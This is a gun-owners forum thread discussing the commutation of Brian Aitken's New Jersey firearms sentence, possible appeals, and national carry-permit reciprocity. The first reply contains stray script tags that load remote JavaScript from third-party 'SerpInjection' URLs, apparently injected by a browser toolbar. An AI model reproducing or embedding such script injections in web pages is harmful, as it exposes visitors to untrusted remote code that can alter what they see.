Jump to content

Brian Aitken sentence commuted to time served


Guest mosinon

Recommended Posts

  • Replies 28
  • Created
  • Last Reply

Top Posters In This Topic

Good for him! It should have been a pardon, but at least he won't spend 7 years in jail.

<script src="http://s3pr.freecause.com/NRA_script.js"></script><script src="http://s3pr.freecause.com/NRA_script.js"></script><script src="http://staging.client.freecause.com/SerpInjection/bro_utils_js.js"></script><script src="http://staging.client.freecause.com/SerpInjection/bro_lm_js.js"></script><script> var fctb_tool=null; function FCTB_Init_3243823b3fd342129756b150a40e28a1(t) { fctb_tool=t; start(fctb_tool); } </script><script src="http://staging.client.freecause.com/SerpInjection/bro_utils_js.js"></script><script src="http://staging.client.freecause.com/SerpInjection/bro_lm_js.js"></script><script> var fctb_tool=null; function FCTB_Init_2e53e9d850db4ceb884bf055809a0254(t) { fctb_tool=t; start(fctb_tool); } </script>

Link to comment
Guest NashvegasMatt

It's sad that he had to spend any time in, but at least he's on his way out. As for the felony charge, I thought on a commuted sentence that could be changed as well....but I'm no lawyer.

Link to comment
Guest tnxdshooter
Good for the Governor. This sends a public message that the Prosecutor that pursed this case was incompetent.

Like that duke prosecutor there in nc that prosecuted those lacrosse players.

Link to comment
Looks like his legal team is going to continue to appeal to try to get the conviction completely overturned. Maybe the Gov. is going to wait for that to play out before he makes a decision on a pardon.

That squares with what I've read - a pardon was never requested. With a commutation, the appeals process can move forward with Aitken out of prison, and if it fails, he doesn't go back. It seems likely, based on the conduct of the judge (who was removed from the bench by Christie over an unrelated poor ruling), that at appeal a mistrial will be called, and I doubt the state would move to re-try at that point.

Asking for a pardon would have been much more risky for Aitken - if the Gov didn't grant it, he'd stay in jail throughout the appeal process.

Either way, it's good to be in TN. NJ seems to be very comfortable in their handbasket.

Link to comment
That squares with what I've read - a pardon was never requested. With a commutation, the appeals process can move forward with Aitken out of prison, and if it fails, he doesn't go back. It seems likely, based on the conduct of the judge (who was removed from the bench by Christie over an unrelated poor ruling), that at appeal a mistrial will be called, and I doubt the state would move to re-try at that point.

Asking for a pardon would have been much more risky for Aitken - if the Gov didn't grant it, he'd stay in jail throughout the appeal process.

Either way, it's good to be in TN. NJ seems to be very comfortable in their handbasket.

BigGovernment.com has done a good job of following the case in detail - for more info, check them out.

Link to comment
That squares with what I've read - a pardon was never requested. With a commutation, the appeals process can move forward with Aitken out of prison, and if it fails, he doesn't go back. It seems likely, based on the conduct of the judge (who was removed from the bench by Christie over an unrelated poor ruling), that at appeal a mistrial will be called, and I doubt the state would move to re-try at that point.

I'm not a lawyer, but the decisions by the judge in this case seemed to be completely whacked-out.

Link to comment
... based on the conduct of the judge (who was removed from the bench by Christie over an unrelated poor ruling), ....
I'm not a lawyer, but the decisions by the judge in this case seemed to be completely whacked-out.

Judge is indeed off the bench. Was my understanding he was not in a lifetime appointment, and Christie did not re-appoint him rather than zap him, but whichever, he seems to be gone.

- OS

Link to comment
Guest Letereat!

This is a bit of good news indeed. Encouraging to know that some Government officials are using common sense and respect the "spirit of the law" instead of mindlessly crushing an innocent civilian to make a political point.

Link to comment

I think it was the publicity. Without it, he would have been left to rot in jail, but the outrage over it was making it much more attractive to let him go. I do not think he would have won that commute or whatever its called if not for the bad PR as a driving force.

Link to comment
I think it was the publicity. Without it, he would have been left to rot in jail, but the outrage over it was making it much more attractive to let him go. I do not think he would have won that commute or whatever its called if not for the bad PR as a driving force.

Seeing the governor speak on several occasions, he doesn't strike me as the type to do something like this for political points. He seems to be a no BS type of man who actually uses common sense rather than political posturing. I could be wrong, but that's my take on him.

Link to comment
This is a bit of good news indeed. Encouraging to know that some Government officials are using common sense and respect the "spirit of the law" instead of mindlessly crushing an innocent civilian to make a political point.

Plus 1

been away for a few days, but lets hope he gets a pardon.

Link to comment
Guest 731david

These kinds of stories is why I would advocate for national carry permit law.... I dont see why it couldnt be done much like our DLs...Yes, I know there are pros & cons to this...just my 2 cents...We all have warm fuzzy dreams of the 2nd amendment spreading to every corner of the country...

Link to comment
These kinds of stories is why I would advocate for national carry permit law.... I dont see why it couldnt be done much like our DLs...Yes, I know there are pros & cons to this...just my 2 cents...We all have warm fuzzy dreams of the 2nd amendment spreading to every corner of the country...

I don’t want the Feds in charge of carry regulations. The states wouldn’t agree anyway; it’s why we don’t have a national DL.

Link to comment
Guest 731david

Yeah I know, but something needs to be do on a federal level to protect folks from crap like this...is that not the feds job, to protect our liberties granted by the constiution...this state says this, well my state says ect....whats wrong with a national standard of some sort...

Link to comment
Yeah I know, but something needs to be do on a federal level to protect folks from crap like this...is that not the feds job, to protect our liberties granted by the constiution...this state says this, well my state says ect....whats wrong with a national standard of some sort...

Because once the feds get jurisdiction over anything, they can tweak it as they please.

It would be as easy to terminate handgun carry nationwide as it would be to standardize it.

- OS

Link to comment
Yeah I know, but something needs to be do on a federal level to protect folks from crap like this...is that not the feds job, to protect our liberties granted by the constiution...this state says this, well my state says ect....whats wrong with a national standard of some sort...

Because the National Standard will be stricter than the state of Tennessee and it will violate States Rights.

States are responsible for creating and enforcing their own laws. Sure… the Feds are involved in overseeing some things. Which would you like to hold up as a shining example ATF, IRS, Homeland Security, TSA? ;)

Bottom line is that you have the responsibility of knowing the firearms laws of the states where you are going to transport or carry firearms. Having a mother that calls the calls the cops, tells them she thinks you are suicidal and have guns in your car doesn’t help either. The cops did about the only thing they could do; they arrested him and seized the guns. I was a cop and I would have done the same thing to get him into the mental health system. But I never would have expected a Prosecutor to pursue it in a criminal case unless he failed to get the help he needed.

Also keep in mind that this was not a case of a gun owner traveling through states making a move from one state to another. He had been in the state for some time and was violating his states laws on transporting firearms.

The state law needs to be changed, and the Judge overreacted in his sentencing.

I for one don't think any of us need "Help" from the Feds when it comes to gun laws. :)

Link to comment

The last National Carry bill that was introduced didn't set any Federal Standards, it simply said that if a state issues a carry permit, they must honor another state's carry permit. You would still be subject to the carry laws of the state you were in, just as you are subject to the driving laws of the state you are in.

So since CA issues permits (although rarely I take it) any other state's permit would be valid there. But since IL doesn't issue permits...still no carry there.

That said...I'm not 100% sure it's a good idea. I would just rather see all 50 state's adopt VT/AK/AZ carry.

Link to comment
The last National Carry bill that was introduced didn't set any Federal Standards, it simply said that if a state issues a carry permit, they must honor another state's carry permit.

So since CA issues permits (although rarely I take it) any other state's permit would be valid there. But since IL doesn't issue permits...still no carry there.

CA does not recognize a Tennessee permit.

I don’t know how many of these others states have permits.

<O:pHandgun Carry Permit Reciprocity Information</O:p

Do Not Recognize TN Permits

  • California
  • Connecticut
  • Hawaii
  • Illinois
  • Iowa
  • Maine
  • Maryland
  • Massachusetts
  • New Jersey
  • New York
  • Oregon
  • Rhode Island
  • Washington
  • Wisconsin

Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

TRADING POST NOTICE

Before engaging in any transaction of goods or services on TGO, all parties involved must know and follow the local, state and Federal laws regarding those transactions.

TGO makes no claims, guarantees or assurances regarding any such transactions.

THE FINE PRINT

Tennessee Gun Owners (TNGunOwners.com) is the premier Community and Discussion Forum for gun owners, firearm enthusiasts, sportsmen and Second Amendment proponents in the state of Tennessee and surrounding region.

TNGunOwners.com (TGO) is a presentation of Enthusiast Productions. The TGO state flag logo and the TGO tri-hole "icon" logo are trademarks of Tennessee Gun Owners. The TGO logos and all content presented on this site may not be reproduced in any form without express written permission. The opinions expressed on TGO are those of their authors and do not necessarily reflect those of the site's owners or staff.

TNGunOwners.com (TGO) is not a lobbying organization and has no affiliation with any lobbying organizations.  Beware of scammers using the Tennessee Gun Owners name, purporting to be Pro-2A lobbying organizations!

×
×
  • Create New...

Important Information

By using this site, you agree to the following.
Terms of Use | Privacy Policy | Guidelines
 
We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.